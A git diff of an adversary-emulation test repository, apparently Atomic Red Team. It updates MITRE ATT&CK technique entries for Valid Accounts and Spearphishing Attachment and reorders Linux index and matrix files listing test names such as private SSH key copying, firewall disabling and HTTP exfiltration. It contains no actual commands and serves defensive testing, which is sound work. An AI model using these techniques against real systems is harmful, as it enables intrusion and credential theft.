Accounts - created: '2017-05-31T21:31:00.645Z' - x_mitre_version: '1.1' - x_mitre_defense_bypassed: - - Firewall - - Host intrusion prevention systems - - Network intrusion detection system - - Process whitelisting - - System access controls - - Anti-virus description: "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining @@ -23114,24 +23777,87 @@ initial-access: may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)" + id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + modified: '2019-10-23T14:22:11.800Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure + - SaaS + - Office 365 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: "Configure robust, consistent account activity audit policies + across the enterprise and with externally accessible services. (Citation: + TechNet Audit Policy) Look for suspicious account behavior across systems + that share accounts, either user, admin, or service accounts. Examples: one + account logged into multiple systems simultaneously; multiple accounts logged + into the same machine simultaneously; accounts logged in at odd times or outside + of business hours. Activity may be from interactive login sessions or process + ownership from accounts being used to execute binaries on a remote system + as a particular account. Correlate other security systems with login information + (e.g., a user has an active login session but has not entered the building + or does not have VPN access).\n\nPerform regular audits of domain and local + system accounts to detect accounts that may have been created by an adversary + for persistence. Checks on these accounts could also include whether default + accounts such as Guest have been activated. These audits should also include + checks on any appliances and applications for default credentials or SSH keys, + and if any are discovered, they should be updated immediately. " + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Netskope + - Mark Wee + - Praetorian + created: '2017-05-31T21:31:00.645Z' x_mitre_effective_permissions: - User - Administrator - x_mitre_permissions_required: - - User - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: initial-access + external_references: + - external_id: T1078 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1078 + - source_name: capec + external_id: CAPEC-560 + url: https://capec.mitre.org/data/definitions/560.html + - description: Microsoft. (2018, December 9). Local Accounts. Retrieved February + 11, 2019. + source_name: Microsoft Local Accounts Feb 2019 + url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts + - description: undefined. (n.d.). Retrieved April 12, 2019. + source_name: Metasploit SSH Module + url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh + - source_name: TechNet Credential Theft + description: Microsoft. (2016, April 15). Attractive Accounts for Credential + Theft. Retrieved June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn535501.aspx + - source_name: TechNet Audit Policy + description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved + June 3, 2016. + url: https://technet.microsoft.com/en-us/library/dn487457.aspx + x_mitre_defense_bypassed: + - Firewall + - Host intrusion prevention systems + - Network intrusion detection system + - Process whitelisting + - System access controls + - Anti-virus atomic_tests: [] T1193: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1193 - source_name: mitre-attack - external_id: T1193 - - url: https://capec.mitre.org/data/definitions/163.html - source_name: capec - external_id: CAPEC-163 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - Packet capture @@ -23139,28 +23865,37 @@ initial-access: - Detonation chamber - Email gateway - Mail server - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. + name: Spearphishing Attachment + description: |- + Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. - Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. + id: attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38 x_mitre_platforms: - Windows - macOS - Linux - kill_chain_phases: - - phase_name: initial-access - kill_chain_name: mitre-attack - id: attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38 - name: Spearphishing Attachment - created: '2018-04-18T17:59:24.739Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. + x_mitre_detection: |- + Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. - There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. + Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: initial-access + external_references: + - external_id: T1193 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1193 + - source_name: capec + external_id: CAPEC-163 + url: https://capec.mitre.org/data/definitions/163.html + modified: '2019-06-24T11:14:19.994Z' identifier: T1193 atomic_tests: - name: Download Phishing Attachment - VBScript diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 4fc84d0df8..ddc0a9d903 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -3,6 +3,7 @@ - [T1156 .bash_profile and .bashrc](./T1156/T1156.md) - Atomic Test #1: Add command to .bash_profile [macos, linux] - Atomic Test #2: Add command to .bashrc [macos, linux] +- [T1098 Account Manipulation](./T1098/T1098.md) - T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1176 Browser Extensions](./T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] @@ -16,14 +17,17 @@ - Atomic Test #3: Hidden file [macos, linux] - Atomic Test #9: Create Visible Directories [macos, linux] - Atomic Test #10: Create hidden directories and files [macos, linux] +- T1525 Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1215 Kernel Modules and Extensions](./T1215/T1215.md) - Atomic Test #1: Linux - Load Kernel Module via insmod [centos, ubuntu, linux] - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron - Replace crontab with referenced file [macos, centos, ubuntu, linux] - Atomic Test #2: Cron - Add script to cron folder [macos, centos, ubuntu, linux] - Atomic Test #3: Event Monitor Daemon Persistence [macos, centos, ubuntu, linux] +- [T1137 Office Application Startup](./T1137/T1137.md) - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1505 Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1166 Setuid and Setgid](./T1166/T1166.md) - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - Atomic Test #2: Set a SetUID flag on file [macos, centos, ubuntu, linux] @@ -35,6 +39,25 @@ - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1100 Web Shell](./T1100/T1100.md) +# impact +- T1531 Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #5: macOS/Linux - Overwrite file with DD [centos, linux, macos, ubuntu] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) + - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, centos, ubuntu, linux] +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1529 System Shutdown/Reboot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + # discovery - [T1087 Account Discovery](./T1087/T1087.md) - Atomic Test #1: Enumerate all accounts [linux, macos] @@ -45,12 +68,16 @@ - Atomic Test #6: Enumerate users and groups [linux, macos] - [T1217 Browser Bookmark Discovery](./T1217/T1217.md) - Atomic Test #1: List Mozilla Firefox Bookmark Database Files on Linux [linux] +- T1538 Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1526 Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Port Scan [linux, macos] - Atomic Test #2: Port Scan Nmap [linux, macos] +- [T1135 Network Share Discovery](./T1135/T1135.md) + - Atomic Test #1: Network Share Discovery [macos, linux] - [T1040 Network Sniffing](./T1040/T1040.md) - Atomic Test #1: Packet Capture Linux [linux] - [T1201 Password Policy Discovery](./T1201/T1201.md) @@ -64,6 +91,7 @@ - [T1018 Remote System Discovery](./T1018/T1018.md) - Atomic Test #4: Remote System Discovery - arp nix [linux, macos] - Atomic Test #5: Remote System Discovery - sweep [linux, macos] +- T1518 Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1082 System Information Discovery](./T1082/T1082.md) - Atomic Test #2: System Information Discovery [linux, macos] - Atomic Test #3: List OS Information [linux, macos] @@ -76,59 +104,14 @@ - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] -# lateral-movement -- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1105 Remote File Copy](./T1105/T1105.md) - - Atomic Test #1: rsync remote file copy (push) [linux, macos] - - Atomic Test #2: rsync remote file copy (pull) [linux, macos] - - Atomic Test #3: scp remote file copy (push) [linux, macos] - - Atomic Test #4: scp remote file copy (pull) [linux, macos] - - Atomic Test #5: sftp remote file copy (push) [linux, macos] - - Atomic Test #6: sftp remote file copy (pull) [linux, macos] -- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - -# collection -- [T1123 Audio Capture](./T1123/T1123.md) -- [T1119 Automated Collection](./T1119/T1119.md) -- [T1115 Clipboard Data](./T1115/T1115.md) -- [T1074 Data Staged](./T1074/T1074.md) - - Atomic Test #2: Stage data from Discovery.sh [linux, macos] -- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1005 Data from Local System](./T1005/T1005.md) -- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1056 Input Capture](./T1056/T1056.md) -- [T1113 Screen Capture](./T1113/T1113.md) - - Atomic Test #3: X Windows Capture [linux] - - Atomic Test #4: Import [linux] - -# exfiltration -- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1002 Data Compressed](./T1002/T1002.md) - - Atomic Test #3: Data Compressed - nix - zip [linux, macos] - - Atomic Test #4: Data Compressed - nix - gzip Single File [linux, macos] - - Atomic Test #5: Data Compressed - nix - tar Folder or File [linux, macos] -- [T1022 Data Encrypted](./T1022/T1022.md) - - Atomic Test #1: Data Encrypted with zip and gpg [macos, centos, ubuntu, linux] -- [T1030 Data Transfer Size Limits](./T1030/T1030.md) - - Atomic Test #1: Data Transfer Size Limits [macos, centos, ubuntu, linux] -- [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) - - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] - - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] -- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - # credential-access +- [T1098 Account Manipulation](./T1098/T1098.md) - [T1139 Bash History](./T1139/T1139.md) - Atomic Test #1: Search Through Bash History [linux, macos] - [T1110 Brute Force](./T1110/T1110.md) +- T1522 Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1003 Credential Dumping](./T1003/T1003.md) +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #2: Extract passwords with grep [macos, linux] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -139,9 +122,12 @@ - Atomic Test #2: Discover Private SSH Keys [macos, linux] - Atomic Test #3: Copy Private SSH Keys with CP [linux] - Atomic Test #4: Copy Private SSH Keys with rsync [macos, linux] +- T1528 Steal Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # defense-evasion +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1009 Binary Padding](./T1009/T1009.md) - Atomic Test #1: Pad Binary to Change Hash - Linux/macOS dd [macos, linux] - [T1146 Clear Command History](./T1146/T1146.md) @@ -152,6 +138,8 @@ - Atomic Test #5: Clear Bash history (truncate) [linux] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] - T1500 Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] - [T1089 Disabling Security Tools](./T1089/T1089.md) - Atomic Test #1: Disable iptables firewall [linux] - Atomic Test #2: Disable syslog [linux] @@ -164,7 +152,7 @@ - Atomic Test #2: Delete an entire folder - Linux/macOS [linux, macos] - Atomic Test #3: Overwrite and delete a file with shred [linux] - Atomic Test #12: Delete Filesystem - Linux [linux, centos, ubuntu] -- [T1222 File Permissions Modification](./T1222/T1222.md) +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) - Atomic Test #8: chmod - Change file or folder mode (numeric mode) [macos, linux] - Atomic Test #9: chmod - Change file or folder mode (symbolic mode) [macos, linux] - Atomic Test #10: chmod - Change file or folder mode (numeric mode) recursively [macos, linux] @@ -197,6 +185,7 @@ - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux] - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1536 Revert Cloud Instance [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1014 Rootkit](./T1014/T1014.md) - Atomic Test #1: Loadable Kernel Module based Rootkit [linux] - Atomic Test #2: Loadable Kernel Module based Rootkit [linux] @@ -208,8 +197,64 @@ - Atomic Test #2: Set a file's modification timestamp [linux, macos] - Atomic Test #3: Set a file's creation timestamp [linux, macos] - Atomic Test #4: Modify file timestamps using reference file [linux, macos] +- T1535 Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# lateral-movement +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #1: rsync remote file copy (push) [linux, macos] + - Atomic Test #2: rsync remote file copy (pull) [linux, macos] + - Atomic Test #3: scp remote file copy (push) [linux, macos] + - Atomic Test #4: scp remote file copy (pull) [linux, macos] + - Atomic Test #5: sftp remote file copy (push) [linux, macos] + - Atomic Test #6: sftp remote file copy (pull) [linux, macos] +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# collection +- [T1123 Audio Capture](./T1123/T1123.md) +- [T1119 Automated Collection](./T1119/T1119.md) +- [T1115 Clipboard Data](./T1115/T1115.md) +- [T1074 Data Staged](./T1074/T1074.md) + - Atomic Test #2: Stage data from Discovery.sh [linux, macos] +- T1530 Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1005 Data from Local System](./T1005/T1005.md) +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1114 Email Collection](./T1114/T1114.md) +- [T1056 Input Capture](./T1056/T1056.md) +- [T1113 Screen Capture](./T1113/T1113.md) + - Atomic Test #3: X Windows Capture [linux] + - Atomic Test #4: Import [linux] + +# exfiltration +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1002 Data Compressed](./T1002/T1002.md) + - Atomic Test #3: Data Compressed - nix - zip [linux, macos] + - Atomic Test #4: Data Compressed - nix - gzip Single File [linux, macos] + - Atomic Test #5: Data Compressed - nix - tar Folder or File [linux, macos] +- [T1022 Data Encrypted](./T1022/T1022.md) + - Atomic Test #1: Data Encrypted with zip and gpg [macos, centos, ubuntu, linux] +- [T1030 Data Transfer Size Limits](./T1030/T1030.md) + - Atomic Test #1: Data Transfer Size Limits [macos, centos, ubuntu, linux] +- [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) + - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] + - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, centos, ubuntu, linux] + - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, centos, ubuntu, linux] +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1537 Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # execution - [T1059 Command-Line Interface](./T1059/T1059.md) @@ -265,23 +310,6 @@ - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -# impact -- [T1485 Data Destruction](./T1485/T1485.md) - - Atomic Test #5: macOS/Linux - Overwrite file with DD [centos, linux, macos, ubuntu] -- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1490 Inhibit System Recovery](./T1490/T1490.md) -- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1496 Resource Hijacking](./T1496/T1496.md) - - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, centos, ubuntu, linux] -- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - # initial-access - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index c1c1f092de..a106d35302 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -1,27 +1,32 @@ # Linux Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](./T1090/T1090.md) | -| [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](./T1169/T1169.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](./T1064/T1064.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Sudo Caching](./T1206/T1206.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](./T1153/T1153.md) | [Kernel Modules and Extensions](./T1215/T1215.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data from Local System](./T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](./T1100/T1100.md) | [File Deletion](./T1107/T1107.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [File Permissions Modification](./T1222/T1222.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [HISTCONTROL](./T1148/T1148.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A 